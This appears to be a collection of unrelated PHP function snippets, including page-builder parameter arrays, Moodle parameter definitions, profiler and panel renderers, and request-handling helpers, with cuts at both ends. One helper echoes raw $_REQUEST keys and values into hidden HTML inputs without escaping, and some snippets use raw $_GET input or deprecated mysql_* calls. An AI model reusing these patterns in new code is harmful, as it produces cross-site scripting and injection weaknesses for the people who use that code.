),\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'vcex_text_alignments',\n\t\t\t\t\t\t'heading' => __( 'Align', 'total' ),\n\t\t\t\t\t\t'param_name' => 'align',\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t\t'heading' => __( 'Count', 'total' ),\n\t\t\t\t\t\t'param_name' => 'count',\n\t\t\t\t\t\t'value' => '3',\n\t\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t\t'heading' => __( 'Size', 'total' ),\n\t\t\t\t\t\t'param_name' => 'size',\n\t\t\t\t\t\t'description' => __( 'Default', 'total' ) . ': 5px',\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'colorpicker',\n\t\t\t\t\t\t'heading' => __( 'Color', 'total' ),\n\t\t\t\t\t\t'param_name' => 'color',\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t\t'heading' => __( 'Margin', 'total' ),\n\t\t\t\t\t\t'param_name' => 'margin',\n\t\t\t\t\t),\n\t\t\t\t\t// Hidden Removed attributes\n\t\t\t\t\tarray( 'type' => 'hidden', 'param_name' => 'margin_top' ),\n\t\t\t\t\tarray( 'type' => 'hidden', 'param_name' => 'margin_bottom' ),\n\t\t\t\t),\n\t\t\t);\n\t\t}", "public function drawStartOptionsPanel()\r\n {\r\n echo '\r\n <div class=\"panel-body\">\r\n <ul class=\"list-group\">';\r\n }", "public function render() {\n return [\n 'command' => 'slideCommand',\n 'action' => $this->action,\n 'bo_view_dom_id' => $this->bo_view_dom_id,\n 'entity_id' => $this->entity_id,\n ];\n }", "public function get_embed_params() {\n $settings = $this->get_settings_for_display();\n\n $params = [];\n\n if ( $settings['autoplay'] && ! $this->has_image_overlay() ) {\n $params['autoplay'] = '1';\n }\n\n $params_dictionary = [];\n\n\n foreach ( $params_dictionary as $key => $param_name ) {\n $setting_name = $param_name;\n\n if ( is_string( $key ) ) {\n $setting_name = $key;\n }\n\n $setting_value = $settings[ $setting_name ] ? '1' : '0';\n\n $params[ $param_name ] = $setting_value;\n }\n\n return $params;\n }", "private function constructMeasurePage(){\r\n\r\n\t\t$this->_headerData['headerClass'] = 'blue';\r\n\t\tif (!$this->agent->is_mobile()) {\r\n\t\t\tarray_push($this->_headerData['javaScripts'], \"watch.animation\", \"time\", \"time.api\");\r\n\t\t}\r\n\r\n\t\t$this->load->view('header', $this->_headerData);\r\n\r\n\t\t$this->_bodyData['allMeasure'] = $this->measure->getMeasuresByUser(\r\n\t\t\t$this->session->userdata('userId'));\r\n\r\n\t\t$this->load->view('measure/dashboard', $this->_bodyData);\r\n\r\n\t\t$this->load->view('footer');\r\n\t}", "public function panel() {\n if(Auth::isLoggedIn()) {\n $this->view->render('admin/module/liveEdit/panel', [\n 'nodes' => $this->get($this->route),\n 'user' => $this->user,\n 'route' => $this->route,\n 'template' => $this->template,\n 'languages' => $this->em->all(Language::class),\n 'current_language' => $this->em->findBy(Language::class ,[\n 'code' => $_SESSION['Lampion']['language']\n ])[0],\n 'name' => $this->routeNames[$this->route] ?? null\n ]);\n }\n }", "public static function data_for_plans_page_parameters() {\n $userid = new external_value(\n PARAM_INT,\n 'The user id',\n VALUE_REQUIRED\n );\n $params = array('userid' => $userid);\n return new external_function_parameters($params);\n }", "public function getParamsListToInject(): array\n {\n return [\n 'sectionTitle',\n 'sectionSubtitle',\n 'tiles'\n ];\n }", "public function buildPanels() {\n return array($this);\n }", "private function initViewVars()\n {\n $this->viewEngine->vars['loggedUserId'] = $this->model->config->getVar('loggedUserId');\n $this->viewEngine->vars['isUserLogged'] = $this->model->config->getVar('isUserLogged');\n $this->viewEngine->vars['loggedUserRole'] = $this->model->config->getVar('loggedUserRole');\n\n $this->viewEngine->vars['charset'] = $this->model->config->getModuleVar('common', 'charset');\n $this->viewEngine->vars['stylesFolder'] = JAPA_PUBLIC_DIR . 'styles/'.$this->model->config->getModuleVar('common', 'styles_folder');\n $this->viewEngine->vars['scriptsFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'scripts_folder');\n $this->viewEngine->vars['imagesFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'images_folder');\n $this->viewEngine->vars['viewsFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'views_folder');\n $this->viewEngine->vars['controllersFolder'] = JAPA_PUBLIC_DIR . 'scripts/'.$this->model->config->getModuleVar('common', 'controllers_folder');\n $this->viewEngine->vars['urlBase'] = $this->router->getBase();\n $this->viewEngine->vars['adminWebController'] = $this->model->config->getVar('default_module_application_controller');\n $this->viewEngine->vars['default_lang'] = $this->model->config->getModuleVar('common', 'default_lang');\n }", "function drawOptionsDisplay() {\r\n global $saveShowWbs, $saveShowClosed, $saveShowResource,$planningType, $showListFilter,$showClosedPlanningVersion;?>\r\n <table width=\"100%\">\r\n <?php if ($planningType!='contract' and $planningType!='version') {?>\r\n <tr class=\"checkboxLabel\">\r\n <td><?php echo ucfirst(i18n(\"labelShowWbs\".((isNewGui())?'':'Short')));?></td>\r\n <td width=\"35px\">\r\n <div title=\"<?php echo ucfirst(i18n('showWbs'));?>\" dojoType=\"dijit.form.CheckBox\" \r\n class=\"whiteCheck\" type=\"checkbox\" id=\"showWBS\" name=\"showWBS\"\r\n <?php if ($saveShowWbs=='1') { echo ' checked=\"checked\" '; }?> >\r\n <script type=\"dojo/method\" event=\"onChange\" >\r\n saveUserParameter('planningShowWbs',((this.checked)?'1':'0'));\r\n refreshJsonPlanning();\r\n </script>\r\n </div>&nbsp;\r\n </td>\r\n </tr>\r\n <?php }?>\r\n <tr class=\"checkboxLabel\" <?php echo ($planningType=='version')?'style=\"height:25px\"':''?>>\r\n <td><?php echo ucfirst(i18n(\"labelShowIdle\".((isNewGui() or $planningType=='version')?'':'Short')));?></td>\r\n <td style=\"width: 30px;\">\r\n <?php if ($planningType=='version') {?>\r\n <div title=\"<?php echo i18n('labelShowIdle')?>\" dojoType=\"dijit.form.CheckBox\" \r\n class=\"whiteCheck\" type=\"checkbox\" id=\"showClosedPlanningVersion\" name=\"showClosedPlanningVersion\"\r\n <?php if ($showClosedPlanningVersion=='1') { echo ' checked=\"checked\" '; }?> >\r\n <script type=\"dojo/method\" event=\"onChange\" >\r\n saveUserParameter('planningVersionShowClosed',((this.checked)?'1':'0'));\r\n refreshJsonPlanning();\r\n </script>\r\n </div>&nbsp;\r\n <?php } else {?>\r\n <div title=\"<?php echo ucfirst(i18n('showIdleElements'));?>\" dojoType=\"dijit.form.CheckBox\" \r\n class=\"whiteCheck\" type=\"checkbox\" id=\"listShowIdle\" name=\"listShowIdle\"\r\n <?php if ($saveShowClosed=='1') { echo ' checked=\"checked\" '; }?> >\r\n <script type=\"dojo/method\" event=\"onChange\" >\r\n saveUserParameter('planningShowClosed',((this.checked)?'1':'0'));\r\n refreshJsonPlanning();\r\n </script>\r\n </div>&nbsp;\r\n <?php }?>\r\n </td>\r\n </tr>\r\n <?php \r\n if (strtoupper(Parameter::getUserParameter('displayResourcePlan'))!='NO' and ($planningType=='planning' or $planningType=='global' or $planningType=='contract' or $planningType=='version') ) {?>\r\n <tr class=\"checkboxLabel\" <?php echo ($planningType=='version')?'style=\"height:25px\"':''?>>\r\n <td>\r\n <?php if ($planningType=='version') {?><div id=\"displayRessource\" style=\"visibility:<?php echo ($showListFilter=='true')?'visible':'hidden';?>;\"><?php }?>\r\n <?php echo ucfirst(i18n(\"labelShowResource\".((isNewGui() or $planningType=='version')?'':'Short')));?>\r\n <?php if ($planningType=='version') {?></div><?php }?>\r\n </td>\r\n <td style=\"width: 30px;\">\r\n <?php if ($planningType=='version') {?><div id=\"displayRessourceCheck\" style=\"visibility:<?php echo ($showListFilter=='true')?'visible':'hidden';?>!important;\"><?php }?>\r\n <div title=\"<?php echo ucfirst(i18n('showResources'));?>\" dojoType=\"dijit.form.CheckBox\" \r\n class=\"whiteCheck\" type=\"checkbox\" \r\n <?php if ($planningType=='version') {?>id=\"showRessourceComponentVersion\" name=\"showRessourceComponentVersion\"<?php } else { ?>id=\"listShowResource\" name=\"listShowResource\"<?php }?> \r\n <?php if ($saveShowResource=='1') { echo ' checked=\"checked\" '; }?> >\r\n <script type=\"dojo/method\" event=\"onChange\" >\r\n saveUserParameter('planningShowResource',((this.checked)?'1':'0'));\r\n refreshJsonPlanning();\r\n </script>\r\n </div>&nbsp;\r\n <?php if ($planningType=='version') {?></div><?php }?>\r\n </td>\r\n </tr>\r\n <?php \r\n }?>\r\n </table>\r\n<?php \r\n}", "public function initializeArgumentsAndRender() {}", "public function initializeArgumentsAndRender() {}", "public function getPanel()\n {\n \t$this->_timer['postDispatch'] = isset($this->_timer['postDispatch']) ? \n \t\t$this->_timer['postDispatch'] : '';\n \t$this->_timer['preDispatch'] = isset($this->_timer['preDispatch']) ? \n \t\t$this->_timer['preDispatch'] : '';\n \t\t\n \treturn parent::getPanel();\n }", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams()\n {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id = $id;\n }\n if (isset($mode)) {\n $this->mode = $mode;\n }\n if (isset($view_mode)) {\n $this->view_mode = $view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode = $edit_mode;\n }\n if (isset($tab)) {\n $this->tab = $tab;\n }\n }", "private function pagedata_preprocessor()\r\n {/*{{{*/\r\n $items_st = $this->items_ordered_struct;\r\n // the number of items per page\r\n $this->pagedata['limit'] = isset(self::$preferences->item->itemsperpage) \r\n ? self::$preferences->item->itemsperpage : 10;\r\n if(self::$is_admin_panel)\r\n $this->pagedata['limit'] = isset(self::$preferences->item->bitemsperpage) \r\n ? self::$preferences->item->bitemsperpage : 10;\r\n $this->pagedata['viewpage'] = isset(self::$preferences->item->page) \r\n ? self::$preferences->item->page : '';\r\n // How many adjacent pages should be shown on each side\r\n $this->pagedata['adjacents'] = 3;\r\n // last page\r\n $this->pagedata['lastpage'] = (int)(ceil(count($items_st) / $this->pagedata['limit']));\r\n // handle get\r\n if(isset(self::$input['page']) && self::$input['page'] <= 0)\r\n self::$input['page'] = 1;\r\n elseif(isset(self::$input['page']) && self::$input['page'] > $this->pagedata['lastpage'])\r\n self::$input['page'] = $this->pagedata['lastpage'];\r\n\t $this->pagedata['page'] = !empty(self::$input['page']) ? (int)self::$input['page'] : 1;\r\n // first page to display\r\n $this->pagedata['start'] = !empty($this->pagedata['page']) \r\n ? (($this->pagedata['page'] - 1) * $this->pagedata['limit']) : 0;\r\n // next page\r\n $this->pagedata['next'] = $this->pagedata['page'] + 1;\r\n\r\n // just for counting of rows\r\n $act_row = $this->pagedata['start'];\r\n $index = $this->pagedata['start'] + $this->pagedata['limit'];\r\n\r\n // active item keys\r\n\t\t$this->pagedata['itemkeys'] = array();\r\n while(isset($items_st[$act_row]) && $act_row < $index)\r\n {\r\n $this->pagedata['itemkeys'][] = $act_row;\r\n $act_row++;\r\n }\r\n\r\n // initialize jquery id\r\n $this->pagedata['jid'] = '';\r\n if(isset(self::$input['delete']))\r\n $this->pagedata['jid'] = safe_slash_html_input(self::$input['delete']);\r\n elseif(isset(self::$input['promo']))\r\n $this->pagedata['jid'] = safe_slash_html_input(self::$input['promo']);\r\n elseif(isset(self::$input['visible']))\r\n $this->pagedata['jid'] = safe_slash_html_input(self::$input['visible']);\r\n \r\n // Setup page vars to display.\r\n\t $this->pagedata['prev'] = $this->pagedata['page'] - 1;\r\n\t //$this->pagedata['next'] = $this->pagedata['page'] + 1;\r\n $this->pagedata['lpm1'] = $this->pagedata['lastpage'] - 1;\r\n\r\n // try to fix our url inside admin, remove redundant 'page' param\r\n // todo: search engine friendly URL \r\n $this->pagedata['pageurl'] = self::$properties['paths']['siteurl'].return_page_slug().'/?page=';\r\n if(self::$is_admin_panel)\r\n if(strpos(curPageURL(),'&page=')!==false)\r\n $this->pagedata['pageurl'] = reparse_url(parse_url(curPageURL()));\r\n else\r\n $this->pagedata['pageurl'] = curPageURL().'&cat='.ImCategory::$current_category.'&page=';\r\n\r\n }", "public static function data_for_competency_summary_parameters() {\n $competencyid = new external_value(\n PARAM_INT,\n 'The competency id',\n VALUE_REQUIRED\n );\n $includerelated = new external_value(\n PARAM_BOOL,\n 'Include or not related competencies',\n VALUE_DEFAULT,\n false\n );\n $includecourses = new external_value(\n PARAM_BOOL,\n 'Include or not competency courses',\n VALUE_DEFAULT,\n false\n );\n $params = array(\n 'competencyid' => $competencyid,\n 'includerelated' => $includerelated,\n 'includecourses' => $includecourses\n );\n return new external_function_parameters($params);\n }", "public function render()\n {\n $content = \"Ext.create('Ext.form.Panel', {\";\n \n $content .= \"frame: true\";\n \n if ($this->getAction()) {\n $content .= \", url: '\" . $this->getAction() . \"'\";\n }\n \n foreach ($this->getAttribs() as $name => $value) {\n $content .= \", \";\n \n switch ($name) {\n case 'renderTo':\n $content .= \"renderTo: Ext.get('\" . (string)$value . \"')\";\n break;\n case 'height':\n case 'width':\n $content .= $name . \": \" . (int)$value;\n break;\n case 'standardSubmit':\n case 'hidden':\n $content .= $name . \": \" . ((boolean)$value === true ? 'true' : 'false');\n break;\n case 'onEnter':\n $content .= \"listeners: {\n afterRender: function(form, options){\n this.keyNav = Ext.create('Ext.util.KeyNav', this.el, {\n enter: function() {\" . $value . \"},\n scope: this\n });\n }\n }\";\n break;\n case 'defaults':\n $content .= \"defaults: \" . (string)$value;\n break;\n default:\n $content .= $name . \": '\" . htmlspecialchars((string)$value, ENT_QUOTES) . \"'\";\n break;\n }\n }\n \n if (!$this->getAttrib('renderTo')) {\n $content .= \", renderTo: Ext.getBody()\";\n }\n \n $content .= \", items: [\";\n \n if ($this->hasSubForms()) {\n $iterator = new ArrayIterator($this->getSubForms());\n while($iterator->valid()) {\n $subForm = $iterator->current();\n $content .= \"{\";\n \n if ($subForm->getAttrib('width')) {\n $content .= \"width: \" . (int)$subForm->getAttrib('width') . \",\";\n }\n \n $content .= $subForm->render();\n \n $content .= \"}\";\n \n $iterator->next();\n if ($iterator->valid()) {\n $content .= \",\";\n } \n }\n }\n \n if ($this->hasElements()) {\n $iterator = new ArrayIterator($this->getElements());\n while ($iterator->valid()) {\n $element = $iterator->current();\n $content .= $element->render();\n \n $iterator->next();\n if ($iterator->valid()) {\n $content .= \",\";\n }\n }\n }\n\n $content .= \"],\";\n \n $content .= \"buttons: [\";\n \n $iterator = new ArrayIterator($this->getButtons());\n while ($iterator->valid()) {\n $button = $iterator->current();\n \n $content .= $button->render();\n \n $iterator->next();\n \n if ($iterator->valid()) {\n $content .= \",\";\n }\n \n }\n \n $content .= \"]\";\n \n $content .= '});';\n \n return $content;\n }", "public function panelButtons()\n {\n\n $i18n = $this->getI18n();\n $html = '';\n \n if ($this->buttons || $this->filterButtons) {\n $html .= '<div class=\"wgt-panel\" >';\n \n if ($this->buttons) {\n $html .= '<div class=\"left\" >';\n $html .= $this->buildButtons();\n $html .= '</div>';\n }\n \n if ($this->filterButtons) {\n $html .= '<div class=\"right\" ><div class=\"left\" ><strong>'.$i18n->l('Filters', 'wbf.label').'&nbsp;|&nbsp;</strong></div>';\n $html .= $this->buildButtons($this->filterButtons);\n $html .= '</div>';\n }\n \n if ($this->filterPanel) {\n $html .= $this->filterPanel->render();\n }\n \n $html .= '</div>';\n }\n \n return $html;\n \n }", "public static function data_for_plan_page_parameters() {\n $planid = new external_value(\n PARAM_INT,\n 'The plan id',\n VALUE_REQUIRED\n );\n $params = array('planid' => $planid);\n return new external_function_parameters($params);\n }", "public function htheme_add_params(){\r\n\r\n\t\t#VC ROW PARAMS\r\n\t\tvc_add_param(\"vc_row\", array(\r\n\t\t\t\"type\" => \"dropdown\",\r\n\t\t\t\"class\" => \"\",\r\n\t\t\t\"heading\" => \"Padding (Row)\",\r\n\t\t\t'category' => esc_html__( 'Content', 'js_composer' ),\r\n\t\t\t\"param_name\" => \"row_padding\",\r\n\t\t\t\"value\" => array(\r\n\t\t\t\t\"None\" => \"none\",\r\n\t\t\t\t\"Top and Bottom\" => \"row_padding_top_bottom\",\r\n\t\t\t\t\"Top Only\" => \"row_padding_top\",\r\n\t\t\t\t\"Bottom Only\" => \"row_padding_bottom\",\r\n\t\t\t),\r\n\t\t\t'description' => esc_html__( 'Select the row padding (Top, Bottom)', 'js_composer' ),\r\n\t\t));\r\n\r\n\t\tvc_add_param(\"vc_row\", array(\r\n\t\t\t\"type\" => \"dropdown\",\r\n\t\t\t\"class\" => \"\",\r\n\t\t\t\"heading\" => \"Margin (Row)\",\r\n\t\t\t'category' => esc_html__( 'Content', 'js_composer' ),\r\n\t\t\t\"param_name\" => \"row_margin\",\r\n\t\t\t\"value\" => array(\r\n\t\t\t\t\"Top and Bottom\" => \"row_margin_top_bottom\",\r\n\t\t\t\t\"Top Only\" => \"row_margin_top\",\r\n\t\t\t\t\"Bottom Only\" => \"row_margin_bottom\",\r\n\t\t\t\t\"None\" => \"none\",\r\n\t\t\t),\r\n\t\t\t'description' => esc_html__( 'Select the row margin (Top, Bottom)', 'js_composer' ),\r\n\t\t));\r\n\r\n\t}", "public function getPanelContent()\n {\n $response = sfContext::getInstance()->getResponse();\n $sfYamlDumper = new sfYamlDumper;\n $html = array();\n $packages = $response->getPackages();\n $requestedPackages = $response->getRequestedPackages();\n $html[] = '<h2>Requested packages</h2>';\n if (!count($requestedPackages))\n {\n $html[] = '<p>No requested package</p>';\n }\n else\n {\n $html[] = '<table class=\"sfWebDebugLogs\">';\n $html[] = '<thead>';\n $html[] = '<tr>';\n $html[] = '<td></td>';\n $html[] = '<th>Require</th>';\n $html[] = '<th>Stylesheets</th>';\n $html[] = '<th>Javascripts</th>';\n $html[] = '</tr>';\n $html[] = '</thead>';\n $html[] = '<tbody>';\n foreach ($requestedPackages as $requestedPackageName)\n {\n $package = array_merge(\n array(\n 'require' => array(),\n 'stylesheets' => array(),\n 'javascripts' => array(),\n ),\n $packages[$requestedPackageName]\n );\n $html[] = '<tr>';\n $html[] = sprintf('<th>%s</th>', $requestedPackageName);\n $require = $package['require'];\n $requireHtml = '';\n if ($require)\n {\n $requireHtml = $require;\n if (is_array($require))\n {\n $requireHtml = implode('<br>', $require);\n }\n }\n $html[] = sprintf('<td>%s</td>', $requireHtml);\n $stylesheets = $package['stylesheets'];\n $stylesheetsHtml = '';\n if ($stylesheets)\n {\n $stylesheetsHtml = $stylesheets;\n if (is_array($stylesheets))\n {\n $stylesheetsHtml = array();\n foreach ($stylesheets as $key => $value)\n {\n $stylesheetsHtml[] = sprintf(\n '%s: %s',\n $key,\n $sfYamlDumper->dump($value)\n );\n }\n $stylesheetsHtml = implode('<br>', $stylesheetsHtml);\n }\n }\n $html[] = sprintf('<td>%s</td>', $stylesheetsHtml);\n \n \n $javascripts = $package['javascripts'];\n $javascriptsHtml = '';\n if ($javascripts)\n {\n $javascriptsHtml = $javascripts;\n if (is_array($javascripts))\n {\n $javascriptsHtml = array();\n foreach ($javascripts as $key => $value)\n {\n $javascriptsHtml[] = sprintf(\n '%s: %s',\n $key,\n $sfYamlDumper->dump($value)\n );\n }\n $javascriptsHtml = implode('<br>', $javascriptsHtml);\n }\n }\n $html[] = sprintf('<td>%s</td>', $javascriptsHtml);\n\n $html[] = '</tr>';\n }\n $html[] = '</tbody>';\n $html[] = '</table>';\n }\n $html[] = '<h2>Full package list</h2>';\n if (!count($packages))\n {\n $html[] = '<p>No package declaration found</p>';\n }\n else\n {\n $packagesHtml = print_r($packages, true);\n if (count($requestedPackages))\n {\n $boldPackages = array();\n foreach ($requestedPackages as $requestedPackageName)\n {\n $boldPackages[sprintf('[%s]', $requestedPackageName)] = sprintf('[<strong style=\"\">%s</strong>]', $requestedPackageName);\n }\n $packagesHtml = strtr($packagesHtml, $boldPackages);\n }\n $packagesHtml = str_replace(' ', ' ', $packagesHtml);\n $html[] = sprintf('<pre>%s</pre>', $sfYamlDumper->dump($packages, 3));\n }\n\n return join(\"\\n\", $html);\n }", "protected function exportClipElementParameters() {}", "protected function _compile_config()\n {\n $output = \"\\n\\n\";\n $output .= '<fieldset id=\"ci_profiler_config\" style=\"border:1px solid #000;padding:6px 10px 10px 10px;margin:20px 0 20px 0;background-color:#eee\">';\n $output .= \"\\n\";\n $output .= '<legend style=\"color:#000;\">&nbsp;&nbsp;'.$this->CI->lang->line('profiler_config').'&nbsp;&nbsp;(<span style=\"cursor: pointer;\" onclick=\"var s=document.getElementById(\\'ci_profiler_config_table\\').style;s.display=s.display==\\'none\\'?\\'\\':\\'none\\';this.innerHTML=this.innerHTML==\\''.$this->CI->lang->line('profiler_section_show').'\\'?\\''.$this->CI->lang->line('profiler_section_hide').'\\':\\''.$this->CI->lang->line('profiler_section_show').'\\';\">'.$this->CI->lang->line('profiler_section_show').'</span>)</legend>';\n $output .= \"\\n\";\n\n $output .= \"\\n\\n<table style='width:100%; display:none' id='ci_profiler_config_table'>\\n\";\n\n foreach ($this->CI->config->config as $config=>$val)\n {\n if (is_array($val)||is_object($val))\n {\n $val = print_r($val, TRUE);\n }\n\n $output .= \"<tr><td style='padding:5px; vertical-align: top;color:#900;background-color:#ddd;'>\".$config.\"&nbsp;&nbsp;</td><td style='padding:5px; color:#000;background-color:#ddd;'>\".htmlspecialchars($val).\"</td></tr>\\n\";\n }\n\n $output .= \"</table>\\n\";\n $output .= \"</fieldset>\";\n\n return $output;\n }", "public function request_export_fields()\n {\n $academic_year = isset($_GET['academic_year']) ? $_GET['academic_year'] : null;\n $degree = isset($_GET['degree']) ? $_GET['degree'] : null;\n $grade = isset($_GET['grade']) ? $_GET['grade'] : null;\n $department = isset($_GET['department']) ? $_GET['department'] : null;\n $gender = isset($_GET['gender']) ? $_GET['gender'] : null;\n $option = isset($_GET['option']) ? $_GET['option'] : null;\n $origin = isset($_GET['origin']) ? $_GET['origin'] : null;\n $semester = isset($_GET['semester']) ? $_GET['semester'] : null;\n $redouble = isset($_GET['redouble']) ? $_GET['redouble'] : null;\n $group = isset($_GET['group']) ? $_GET['group'] : null;\n $radie = isset($_GET['radie']) ? $_GET['radie'] : null;\n // else, from custom list\n\n $student_ids = isset($_GET['student_ids']) ? $_GET['student_ids'] : null;\n\n return view('backend.studentAnnual.popup_export', compact('academic_year', 'department', 'degree', 'grade', 'gender', 'option', 'origin', 'student_ids', 'semester', 'group', 'radie', 'redouble'));\n }", "private function getShowParameters()\n {\n $showingAll = false;\n $start = -100;\n $count = -1;\n\n if ($this->getRequest()->query->has('all')) {\n $start = 0;\n $count = -1;\n $showingAll = true;\n }\n\n return array($start, $count, $showingAll);\n }", "protected function assignDefaults() {\n\t\t$this->view->assignMultiple(\n\t\t\tarray(\n\t\t\t\t'timestamp'\t\t\t=> time(),\n\t\t\t\t'submission_date'\t=> date('d.m.Y H:i:s', time()),\n\t\t\t\t'randomId'\t\t\t=> Tx_Formhandler_Globals::$randomID,\n\t\t\t\t'fieldNamePrefix'\t=> Tx_Formhandler_Globals::$formValuesPrefix,\n\t\t\t\t'ip'\t\t\t\t=> t3lib_div::getIndpEnv('REMOTE_ADDR'),\n\t\t\t\t'pid'\t\t\t\t=> $GLOBALS['TSFE']->id,\n\t\t\t\t'currentStep'\t\t=> Tx_FormhandlerFluid_Util_Div::getSessionValue('currentStep'),\n\t\t\t\t'totalSteps'\t\t=> Tx_FormhandlerFluid_Util_Div::getSessionValue('totalSteps'),\n\t\t\t\t'lastStep'\t\t\t=> Tx_FormhandlerFluid_Util_Div::getSessionValue('lastStep'),\n\t\t\t\t// f:url(absolute:1) does not work correct :(\n\t\t\t\t'baseUrl'\t\t\t=> t3lib_div::locationHeaderUrl('')\n\t\t\t)\n\t\t);\n\t\t\n\t\tif ($this->gp['generated_authCode']) {\n\t\t\t$this->view->assign('authCode', $this->gp['generated_authCode']);\n\t\t}\n\t\t\n\t\t/*\n\t\tStepbar currently removed - probably this should move in a partial\n\t\t$markers['###step_bar###'] = $this->createStepBar(\n\t\t\tTx_FormhandlerFluid_Session::get('currentStep'),\n\t\t\tTx_FormhandlerFluid_Session::get('totalSteps'),\n\t\t\t$prevName,\n\t\t\t$nextName\n\t\t);\n\t\t*/\n\t\t\n\t\t/*\n\t\tNot yet realized\n\t\t$this->fillCaptchaMarkers($markers);\n\t\t$this->fillFEUserMarkers($markers);\n\t\t$this->fillFileMarkers($markers);\n\t\t*/\n\t}", "protected function getPlottableParams()\n {\n\t$kinst = $_REQUEST['kinst'] ;\n\tif( !$kinst )\n\t{\n\t print( \"plottable params query failed, must specify kinst\\n\" );\n\t exit( 0 ) ;\n\t}\n\n\t// need to connect to the database here in order to run the\n\t// function mysql_real_escape_string\n\t$isconnected = $this->cedarconnect() ;\n\tif( $isconnected != \"good\" )\n\t{\n\t print( \"$isconnected\\n\" ) ;\n\t exit( 0 ) ;\n\t}\n\n\t$kinst = mysql_real_escape_string( trim( $kinst ) ) ;\n\n\t$query = \"SELECT DISTINCT parameter_id, plot_func \" ;\n\t$query .= \"FROM tbl_plotting_params \" ;\n\t$query .= \"WHERE kinst='$kinst'\" ;\n\n\t//print( \"$query\\n\" ) ;\n\n\t$result = parent::dbquery( $query ) ;\n\t$num_rows = mysql_num_rows( $result ) ;\n\tif( $num_rows != 0 )\n\t{\n\t while( $line = mysql_fetch_row( $result ) )\n\t {\n\t\tif( $line )\n\t\t{\n\t\t $colnum = 0 ;\n\t\t foreach( $line as $value )\n\t\t {\n\t\t\tif( $colnum > 0 ) echo \",\" ;\n\t\t\techo $value ;\n\t\t\t$colnum++ ;\n\t\t }\n\t\t echo \"\\n\" ;\n\t\t}\n\t }\n\t}\n\n\tparent::dbclose( $result ) ;\n }", "public function storeConfigData(){\n $data = array();\n $data['bg'] = $this->_scopeConfig->getValue('webkul/webkul_verticalslider/wk_verticalslider_bg', \\Magento\\Store\\Model\\ScopeInterface::SCOPE_STORE);\n $data['noitems'] = $this->_scopeConfig->getValue('webkul/webkul_verticalslider/wk_verticalslider_category', \\Magento\\Store\\Model\\ScopeInterface::SCOPE_STORE);\n $data['animate'] = $this->_scopeConfig->getValue('webkul/webkul_verticalslider/wk_verticalslider_animation_time', \\Magento\\Store\\Model\\ScopeInterface::SCOPE_STORE);\n $data['width'] = $this->_scopeConfig->getValue('webkul/webkul_verticalslider/wk_verticalslider_width', \\Magento\\Store\\Model\\ScopeInterface::SCOPE_STORE);\n $data['height'] = $this->_scopeConfig->getValue('webkul/webkul_verticalslider/wk_verticalslider_height', \\Magento\\Store\\Model\\ScopeInterface::SCOPE_STORE);\n return $data;\n }", "function create_string_hidden_fields_from_widget_vars() {\n $html = '';\n\n $widget_vars = isset( $_REQUEST['slp_widget'] ) ? $_REQUEST['slp_widget'] : array();\n foreach ( $widget_vars as $key => $value ) {\n $html .=\n sprintf(\n '<input name=\"slp_widget[%s]\" id=\"slp_widget[%s]\" value=\"%s\" type=\"hidden\" />',\n $key, $key, $value\n );\n }\n\n return $html;\n }", "public static function settings_to_params() {\n\t\t\treturn [\n\t\t\t\t'full_width_border_color' => 'border_color',\n\t\t\t\t'full_width_border_size' => 'border_size',\n\t\t\t\t'full_width_bg_color' => 'background_color',\n\t\t\t\t'full_width_gradient_start_color' => 'gradient_start_color',\n\t\t\t\t'full_width_gradient_end_color' => 'gradient_end_color',\n\t\t\t\t'link_color' => 'link_color',\n\t\t\t\t'link_hover_color' => 'primary_color',\n\t\t\t];\n\t\t}", "function getParams() {\r\n global $id;\r\n global $mode;\r\n global $view_mode;\r\n global $edit_mode;\r\n global $data_source;\r\n global $tab;\r\n if (isset($id)) {\r\n $this->id=$id;\r\n }\r\n if (isset($mode)) 